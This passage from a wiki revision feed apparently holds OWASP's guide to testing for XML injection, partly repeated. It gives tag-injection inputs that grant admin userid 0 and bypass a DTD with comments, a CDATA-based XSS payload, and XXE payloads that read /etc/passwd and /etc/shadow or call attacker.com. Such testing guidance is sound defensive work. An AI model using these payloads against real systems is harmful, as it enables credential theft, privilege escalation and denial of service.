   &amp;lt;!ELEMENT foo ANY &amp;gt;&lt;br /&gt;
   &amp;lt;!ENTITY xxe SYSTEM &amp;quot;file:///c:/boot.ini&amp;quot; &amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt;&lt;br /&gt;
 &amp;lt;!DOCTYPE foo [  &lt;br /&gt;
   &amp;lt;!ELEMENT foo ANY &amp;gt;&lt;br /&gt;
   &amp;lt;!ENTITY xxe SYSTEM &amp;quot;http://www.attacker.com/text.txt&amp;quot; &amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
=== Tag Injection ===&lt;br /&gt;
&lt;br /&gt;
Once the first step is accomplished, the tester will have some information about the structure of the XML document. Then, it is possible to try to inject XML data and tags. We will show an example of how this can lead to a privilege escalation attack.&lt;br /&gt;
&lt;br /&gt;
Let's considering the previous application. By inserting the following values:&lt;br /&gt;
&lt;br /&gt;
 '''Username: tony'''&lt;br /&gt;
 '''Password: Un6R34kb!e'''&lt;br /&gt;
 '''E-mail: s4tan@hell.com&amp;lt;/mail&amp;gt;&amp;lt;userid&amp;gt;0&amp;lt;/userid&amp;gt;&amp;lt;mail&amp;gt;s4tan@hell.com'''&lt;br /&gt;
&lt;br /&gt;
the application will build a new node and append it to the XML database:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt; &lt;br /&gt;
&amp;lt;users&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;gandalf&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;!c3&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;0&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;gandalf@middleearth.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;Stefan0&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;w1s3c&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;Stefan0@whysec.hmm&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;tony&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;Un6R34kb!e&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;s4tan@hell.com&amp;lt;/mail&amp;gt;&amp;lt;userid&amp;gt;0&amp;lt;/userid&amp;gt;&amp;lt;mail&amp;gt;s4tan@hell.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
&amp;lt;/users&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
The resulting XML file is well formed. Furthermore, it is likely that, for the user tony, the value associated with the userid tag is the one appearing last, i.e., 0 (the admin ID). In other words, we have injected a user with administrative privileges.&lt;br /&gt;
&lt;br /&gt;
The only problem is that the userid tag appears twice in the last user node. Often, XML documents are associated with a schema or a DTD and will be rejected if they don't comply with it.&lt;br /&gt;
Let's suppose that the XML document is specified by the following DTD:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;!DOCTYPE users [&lt;br /&gt;
	  &amp;lt;!ELEMENT users (user+) &amp;gt;&lt;br /&gt;
	  &amp;lt;!ELEMENT user (username,password,userid,mail+) &amp;gt;&lt;br /&gt;
	  &amp;lt;!ELEMENT username (#PCDATA) &amp;gt;&lt;br /&gt;
	  &amp;lt;!ELEMENT password (#PCDATA) &amp;gt;&lt;br /&gt;
	  &amp;lt;!ELEMENT userid (#PCDATA) &amp;gt;&lt;br /&gt;
	  &amp;lt;!ELEMENT mail (#PCDATA) &amp;gt;&lt;br /&gt;
]&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
Note that the userid node is defined with cardinality 1. In this case, the attack we have shown before (and other simple attacks) will not work, if the XML document is validated against its DTD before any processing occurs.&lt;br /&gt;
&lt;br /&gt;
However, this problem can be solved, if the tester controls the value of some nodes preceding the offending node (userid, in this example). In fact, the tester can comment out such node, by injecting &lt;br /&gt;
a comment start/end sequence:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 '''Username: tony'''&lt;br /&gt;
 '''Password: Un6R34kb!e&amp;lt;/password&amp;gt;&amp;lt;!--'''&lt;br /&gt;
 '''E-mail: --&amp;gt;&amp;lt;userid&amp;gt;0&amp;lt;/userid&amp;gt;&amp;lt;mail&amp;gt;s4tan@hell.com'''&lt;br /&gt;
&lt;br /&gt;
In this case, the final XML database is:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt; &lt;br /&gt;
&amp;lt;users&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;gandalf&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;!c3&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;0&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;gandalf@middleearth.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;Stefan0&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;w1s3c&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;Stefan0@whysec.hmm&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;tony&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;Un6R34kb!e&amp;lt;/password&amp;gt;&amp;lt;!--&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;--&amp;gt;&amp;lt;userid&amp;gt;0&amp;lt;/userid&amp;gt;&amp;lt;mail&amp;gt;s4tan@hell.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt;&lt;br /&gt;
&amp;lt;/users&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
The original ''userid'' node has been commented out, leaving only the injected one. The document now complies with its DTD rules.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* [1] Alex Stamos: &amp;quot;Attacking Web Services&amp;quot; - http://www.owasp.org/images/d/d1/AppSec2005DC-Alex_Stamos-Attacking_Web_Services.ppt&amp;lt;br&amp;gt;&lt;br /&gt;
* Gregory Steuck, &amp;quot;XXE (Xml eXternal Entity) attack&amp;quot;, http://www.securityfocus.com/archive/1/297714&lt;/div&gt;</summary>
		<author><name>Namn</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_XML_Injection_(OTG-INPVAL-008)&amp;diff=38710</id>
		<title>Testing for XML Injection (OTG-INPVAL-008)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_XML_Injection_(OTG-INPVAL-008)&amp;diff=38710"/>
				<updated>2008-09-07T05:11:52Z</updated>
		
		<summary type="html">&lt;p&gt;Namn: /* Brief Summary */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v3}}&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
We talk about XML Injection testing when we try to inject a particular XML doc to the application: if the XML parser fails to make an appropriate data validation the test will result positive. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Short Description of the Issue == &lt;br /&gt;
In this section, we describe a practical example of XML Injection: first, we define an XML style communication and we show how it works. Then, we describe the discovery method in which we try to insert XML metacharacters.&lt;br /&gt;
Once the first step is accomplished, the tester will have some information about the XML structure, so it will be possible to try to inject XML data and tags (Tag Injection).&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
Let's suppose there is a web application using an XML style communication &lt;br /&gt;
in order to perform users registration.&lt;br /&gt;
This is done by creating and adding a new &amp;lt;user&amp;gt; node in an xmlDb file.&lt;br /&gt;
Let's suppose the xmlDB file is like the following:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt; &lt;br /&gt;
&amp;lt;users&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;gandalf&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;!c3&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;0&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;gandalf@middleearth.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;Stefan0&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;w1s3c&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;Stefan0@whysec.hmm&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
&amp;lt;/users&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
When a user registers himself by filling an HTML form, &lt;br /&gt;
the application receives the user's data in a standard request, which,&lt;br /&gt;
for the sake of simplicity, will be supposed to be sent as a GET request.&lt;br /&gt;
&lt;br /&gt;
For example, the following values:&lt;br /&gt;
&lt;br /&gt;
 '''Username: tony'''&lt;br /&gt;
 '''Password: Un6R34kb!e'''&lt;br /&gt;
 '''E-mail: s4tan@hell.com'''&lt;br /&gt;
&lt;br /&gt;
will produce the request:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;http://www.example.com/addUser.php?username=tony&amp;amp;password=Un6R34kb!e&amp;amp;email=s4tan@hell.com&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The application, then, builds the following node:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;user&amp;gt; &lt;br /&gt;
	&amp;lt;username&amp;gt;tony&amp;lt;/username&amp;gt; &lt;br /&gt;
	&amp;lt;password&amp;gt;Un6R34kb!e&amp;lt;/password&amp;gt; &lt;br /&gt;
	&amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
	&amp;lt;mail&amp;gt;s4tan@hell.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
&amp;lt;/user&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
which will be added to the xmlDB:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt; &lt;br /&gt;
&amp;lt;users&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;gandalf&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;!c3&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;0&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;gandalf@middleearth.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;Stefan0&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;w1s3c&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;Stefan0@whysec.hmm&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;tony&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;Un6R34kb!e&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;s4tan@hell.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
&amp;lt;/users&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
=== Discovery ===&lt;br /&gt;
The first step in order to test an application for the presence of a XML Injection&lt;br /&gt;
vulnerability consists of trying to insert XML metacharacters.&amp;lt;br&amp;gt;&lt;br /&gt;
XML metacharacters are:&lt;br /&gt;
* '''Single quote: ' ''' - When not sanitized, this character could throw an exception during XML parsing, if the injected value is going to be part of an attribute value in a tag.&lt;br /&gt;
As an example, let's suppose there is the following attribute:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;node attrib='$inputValue'/&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
So, if:&lt;br /&gt;
&lt;br /&gt;
 '''inputValue = foo''''&lt;br /&gt;
&lt;br /&gt;
is instantiated and then is inserted as the attrib value:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;node attrib='foo''/&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
then, the resulting XML document is not well formed.&lt;br /&gt;
&lt;br /&gt;
* '''Double quote: &amp;quot; '''- this character has the same means of double quotes and it could be used in case the attribute value is enclosed in double quotes.&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;node attrib=&amp;quot;$inputValue&amp;quot;/&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
So if:&lt;br /&gt;
 '''$inputValue = foo&amp;quot;'''&lt;br /&gt;
&lt;br /&gt;
the substitution gives:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;node attrib=&amp;quot;foo&amp;quot;&amp;quot;/&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
and the resulting XML document is invalid.&lt;br /&gt;
&lt;br /&gt;
* '''Angular parentheses: &amp;gt; and &amp;lt;''' - By adding an open or closed angular parenthesis in a user input like the following:&lt;br /&gt;
&lt;br /&gt;
 '''Username = foo&amp;lt;'''&lt;br /&gt;
&lt;br /&gt;
the application will build a new node:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;user&amp;gt; &lt;br /&gt;
     &amp;lt;username&amp;gt;foo&amp;lt;&amp;lt;/username&amp;gt; &lt;br /&gt;
     &amp;lt;password&amp;gt;Un6R34kb!e&amp;lt;/password&amp;gt; &lt;br /&gt;
     &amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
     &amp;lt;mail&amp;gt;s4tan@hell.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
&amp;lt;/user&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
but, because of the presence of the open '&amp;lt;', the resulting XML document is invalid.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* '''Comment tag: &amp;lt;nowiki&amp;gt;&amp;lt;!--/--&amp;gt;&amp;lt;/nowiki&amp;gt;''' -  This sequence of characters is interpreted as the beginning/end of a comment. So by injecting one of them in Username parameter:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;Username = foo&amp;lt;!--&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
the application will build a node like the following:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;user&amp;gt; &lt;br /&gt;
    &amp;lt;username&amp;gt;foo&amp;lt;!--&amp;lt;/username&amp;gt; &lt;br /&gt;
    &amp;lt;password&amp;gt;Un6R34kb!e&amp;lt;/password&amp;gt; &lt;br /&gt;
    &amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
    &amp;lt;mail&amp;gt;s4tan@hell.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
&amp;lt;/user&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
which won't be a valid XML sequence.&lt;br /&gt;
&lt;br /&gt;
* '''Ampersand: &amp;amp;amp; '''-   The ampersand is used in the XML syntax to represent entities. The format of an entity is '&amp;amp;amp;symbol;'. An entity is mapped to a character in the Unicode character set.&lt;br /&gt;
&lt;br /&gt;
For example:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;tagnode&amp;gt;&amp;amp;amp;lt;&amp;lt;/tagnode&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
is well formed and valid, and represents the '&amp;lt;' ASCII character.&lt;br /&gt;
&lt;br /&gt;
If '&amp;amp;amp;' is not encoded itself with &amp;amp;amp;amp;, it could be used to test XML injection.&lt;br /&gt;
&lt;br /&gt;
In fact, if an input like the following is provided:&lt;br /&gt;
&lt;br /&gt;
 '''Username = &amp;amp;amp;foo'''&lt;br /&gt;
&lt;br /&gt;
a new node will be created:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;user&amp;gt; &lt;br /&gt;
&amp;lt;username&amp;gt;&amp;amp;foo&amp;lt;/username&amp;gt; &lt;br /&gt;
&amp;lt;password&amp;gt;Un6R34kb!e&amp;lt;/password&amp;gt; &lt;br /&gt;
&amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
&amp;lt;mail&amp;gt;s4tan@hell.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
&amp;lt;/user&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
but, again, the document is not valid: &amp;amp;amp;foo is not terminated with ';' and the &amp;amp;foo; entity is undefined.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* '''CDATA section delimiters: &amp;lt;![CDATA[ / ]]&amp;gt;''' - CDATA sections are used to escape blocks of text containing characters which would otherwise be recognized as markup. In other words, characters enclosed in a CDATA section are not parsed by an XML parser.&lt;br /&gt;
&lt;br /&gt;
For example, if there is the need to represent the string '&amp;lt;foo&amp;gt;' inside a text node, a CDATA section may be used:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;node&amp;gt;&lt;br /&gt;
    &amp;lt;![CDATA[&amp;lt;foo&amp;gt;]]&amp;gt;&lt;br /&gt;
&amp;lt;/node&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
so that '&amp;lt;foo&amp;gt;' won't be parsed as markup and will be considered as character data.&lt;br /&gt;
&lt;br /&gt;
In case a node is built in the following way:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;username&amp;gt;&amp;lt;![CDATA[&amp;lt;$userName]]&amp;gt;&amp;lt;/username&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
the tester could try to inject the end CDATA string ']]&amp;gt;' in order to try to invalidate the XML document.&lt;br /&gt;
&lt;br /&gt;
 '''userName  = ]]&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
this will become:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;username&amp;gt;&amp;lt;![CDATA[]]&amp;gt;]]&amp;gt;&amp;lt;/username&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
which is not a valid XML fragment.&lt;br /&gt;
&lt;br /&gt;
Another test is related to CDATA tag. Suppose that the XML document is processed to generate a HTML page. In this case, the CDATA section delimiters may be simply eliminated, without further inspecting their contents. Then, it is possible to inject HTML tags, which will be included in the generated page, completely bypassing existing sanitization routines.&lt;br /&gt;
&lt;br /&gt;
Let's consider a concrete example. Suppose to have a node containing some text that will be displayed back to the user. &lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt; &amp;lt;html&amp;gt;&lt;br /&gt;
 $HTMLCode&lt;br /&gt;
 &amp;lt;/html&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
Then, an attacker can provide the following input:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;$HTMLCode = &amp;lt;![CDATA[&amp;lt;]]&amp;gt;script&amp;lt;![CDATA[&amp;gt;]]&amp;gt;alert('xss')&amp;lt;![CDATA[&amp;lt;]]&amp;gt;/script&amp;lt;![CDATA[&amp;gt;]]&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
and obtain the following node:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;html&amp;gt;&lt;br /&gt;
  &amp;lt;![CDATA[&amp;lt;]]&amp;gt;script&amp;lt;![CDATA[&amp;gt;]]&amp;gt;alert('xss')&amp;lt;![CDATA[&amp;lt;]]&amp;gt;/script&amp;lt;![CDATA[&amp;gt;]]&amp;gt;&lt;br /&gt;
 &amp;lt;/html&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
During the processing, the CDATA section delimiters are eliminated, generating the following HTML code:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;script&amp;gt;alert('XSS')&amp;lt;/script&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
The result is that the application is vulnerable to XSS. &lt;br /&gt;
&lt;br /&gt;
'''External Entity:'''&lt;br /&gt;
The set of valid entities can be extended by defining new entities. If the definition of an entity is a URI, the entity is called an external entity. Unless configured to do otherwise, external entities force the XML parser to access the resource specified by the URI, e.g., a file on the local machine or on a remote systems. This behavior exposes the application to XML eXternal Entity (XXE) attacks, which can be used to perform denial of service of the local system, gain unauthorized access to files on the local machine, scan remote machines, and perform denial of service of remote systems. &lt;br /&gt;
&lt;br /&gt;
To test for XXE vulnerabilities, one can use the following input:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt;&lt;br /&gt;
 &amp;lt;!DOCTYPE foo [  &lt;br /&gt;
  &amp;lt;!ELEMENT foo ANY &amp;gt;&lt;br /&gt;
  &amp;lt;!ENTITY xxe SYSTEM &amp;quot;file:///dev/random&amp;quot; &amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
This test could crash the web server (on a UNIX system), if the XML parser attempts to substitute the entity with the contents of the /dev/random file.&lt;br /&gt;
&lt;br /&gt;
Other useful tests are the following:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt;&lt;br /&gt;
 &amp;lt;!DOCTYPE foo [  &lt;br /&gt;
   &amp;lt;!ELEMENT foo ANY &amp;gt;&lt;br /&gt;
   &amp;lt;!ENTITY xxe SYSTEM &amp;quot;file:///etc/passwd&amp;quot; &amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt;&lt;br /&gt;
 &amp;lt;!DOCTYPE foo [  &lt;br /&gt;
   &amp;lt;!ELEMENT foo ANY &amp;gt;&lt;br /&gt;
   &amp;lt;!ENTITY xxe SYSTEM &amp;quot;file:///etc/shadow&amp;quot; &amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt;&lt;br /&gt;
 &amp;lt;!DOCTYPE foo [  &lt;br /&gt;
   &amp;lt;!ELEMENT foo ANY &amp;gt;&lt;br /&gt;
   &amp;lt;!ENTITY xxe SYSTEM &amp;quot;file:///c:/boot.ini&amp;quot; &amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt;&lt;br /&gt;
 &amp;lt;!DOCTYPE foo [  &lt;br /&gt;
   &amp;lt;!ELEMENT foo ANY &amp;gt;&lt;br /&gt;
   &amp;lt;!ENTITY xxe SYSTEM &amp;quot;http://www.attacker.com/text.txt&amp;quot; &amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
=== Tag Injection ===&lt;br /&gt;
&lt;br /&gt;
Once the first step is accomplished, the tester will have some information about the structure of the XML document. Then, it is possible to try to inject XML data and tags. We will show an example of how this can lead to a privilege escalation attack.&lt;br /&gt;
&lt;br /&gt;
Let's considering the previous application. By inserting the following values:&lt;br /&gt;
&lt;br /&gt;
 '''Username: tony'''&lt;br /&gt;
 '''Password: Un6R34kb!e'''&lt;br /&gt;
 '''E-mail: s4tan@hell.com&amp;lt;/mail&amp;gt;&amp;lt;userid&amp;gt;0&amp;lt;/userid&amp;gt;&amp;lt;mail&amp;gt;s4tan@hell.com'''&lt;br /&gt;
&lt;br /&gt;
the application will build a new node and append it to the XML database:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt; &lt;br /&gt;
&amp;lt;users&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;gandalf&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;!c3&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;0&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;gandalf@middleearth.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;Stefan0&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;w1s3c&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;Stefan0@whysec.hmm&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;tony&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;Un6R34kb!e&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
